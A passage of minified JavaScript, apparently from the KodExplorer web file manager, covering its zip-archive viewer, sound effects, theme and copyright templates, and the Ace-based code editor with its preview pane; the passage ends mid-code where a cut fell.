e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),a.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,a){$(e.target).hasClass("menu_more")||(t.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",t)}}},a=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var a=e[i];e[i]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),i[e[a].filename]=e[a]);for(var n in i)if(!i[n].folder)for(var o=core.pathFather(i[n].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in i){var r=i[n],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var a=t.getSelectedNodes()[0];switch(e){case"open":c(t,a);break;case"down":l(t,a);break;case"unzip_this":p(t,a);break;case"unzip_to":d(t,a);break;case"info":h(t,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(a)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,a=i+"&index="+t.index+"&name=/"+urlEncode(t.path),n=t.ext;"zip"==n&&(n="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var a=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),a="folder"==t.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:n(o),ok:!0}) +},m=function(e,t,i){var a=template.compile(tpl_zipview),n=a({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o,s){var r=a(o),l="folderListZip"+UUID();r=ui.tree.treeDataSort(r),m(l,e,s),n(),r={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:r,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+l),i,r),t=$.fn.zTree.getZTreeObj(l),_(l),u(t.getNodeByParam("index","-1",null))},g=function(e){var i=$(".zip_view_"+md5(e));if(i.length>0)return i.shake(3,20,80),void 0;var a="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(a="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(a=G.app_host+"index.php?"+a,$.ajax({url:a,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(i){Tips.close(i),i.code?(v(core.pathThis(e),i.data,e),t.setting.filePath=e,t.setting.fileUrl=a):ui.pathOpen.openUnknow(e,i.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),w(),_(),Toolbar.toolbarSelected(),void 0;var n=e;"http"==e.substr(0,4)&&(n=urlDecode($.getUrlParam("name",e))),i={charset:"utf-8",uuid:a,name:core.pathThis(n),filename:n,mode:p(n),the_url:""},"http"==e.substr(0,4)&&(i.filename=""),f(i),t[i.uuid]={kod:{filename:i.filename}},core.fileGet(e,function(e,n,o){if(i.the_url=o,$(".tab_"+i.uuid).removeClass("loading"),!n||!n.code)return j(i.uuid),Tips.tips(n);if(0==$("#"+i.uuid).length)return j(i.uuid),void 0;var s=n.data;1==s.base64&&(s.content=base64Decode(s.content));var r="<?php exit;?>";if("php"==s.ext&&0==s.content.indexOf(r)){var l=s.content.substr(r.length);s.content=r+js_beautify(l),i.mode=p("test.json")}"oexe"==s.ext&&(s.content=js_beautify(s.content)),t[a]=void 0,$("#"+a).text(s.content),m(i);var c=t[a];c.kod.charset=s.charset,c.kod.base64=s.base64,c.navigateTo(0),c.moveCursorTo(0,0),I(),w(),_(),Toolbar.toolbarSelected()},function(){j(i.uuid)})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='<div class="edit_tab_menu tab loading tab_'+t.uuid+'" uuid="'+t.uuid+'" title="'+htmlEncode(t.filename)+'">'+' <div class="name">'+i+htmlEncode(t.name)+"</div>"+' <a href="javascript:void(0);" class="close icon-remove" draggable="false"></a>'+' <div style="clear:both;"></div>'+"</div>";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({newLineMode:"windows",enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){N(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){L(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=O();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename;i||(i=Editor.current().kod.name);var a='<img draggable="false" src="'+G.static_path+'images/file_icon/icon_others/edit.png"/>'+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),w(),Toolbar.toolbarSelected(),g()},g=function(){var e=O();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},x=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&w()},w=function(){var e=O();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},N=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},L=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;O().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){z(n,e,a)}):z(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&L(e)},z=function(e,t,i){if("view"===e.kod.tabType)return Tips.tips(LNG.error,"warning"),void 0;var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,T(e)),N(e,!1),_(),i&&j(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},T=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},S=function(e){if(void 0==e&&(e=i),void 0==t[e])return j(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+"<br/>"+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){L(e,!0)}},{name:LNG.button_not_save,callback:function(){j(e)}}]}):j(e)},j=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(O()&&O().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},F=function(e){core.setSkin(e)},O=function(){return i&&t[i]&&t[i].focus?t[i]:!1},A=function(e){var i=O();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):($(".tab_"+e).addClass("loading"),Tips.loading(LNG.loading),core.fileGet(a,function(t,a){Tips.close(),$(".tab_"+e).removeClass("loading");var n=a.data;1==n.base64&&(n.content=base64Decode(n.content));var o="<?php exit;?>";if(null==n.content&&(n.content=""),"php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s)}"oexe"==n.ext&&(n.content=js_beautify(n.content)),i.kod.charset=n.charset,i.kod.base64=n.base64,i.getSession().setValue(n.content);var r=i.getFirstVisibleRow();i.scrollToLine(r),N(i,!1)},function(){$(".tab_"+e).removeClass("loading")}),void 0)},I=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=O(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},R=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:O,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:x,setTheme:F,isBlackTheme:R,select:b,remove:S,save:L,saveall:C,refresh:A,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),I()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(N);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('<div class="preview_frame mask_view"></div>'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help 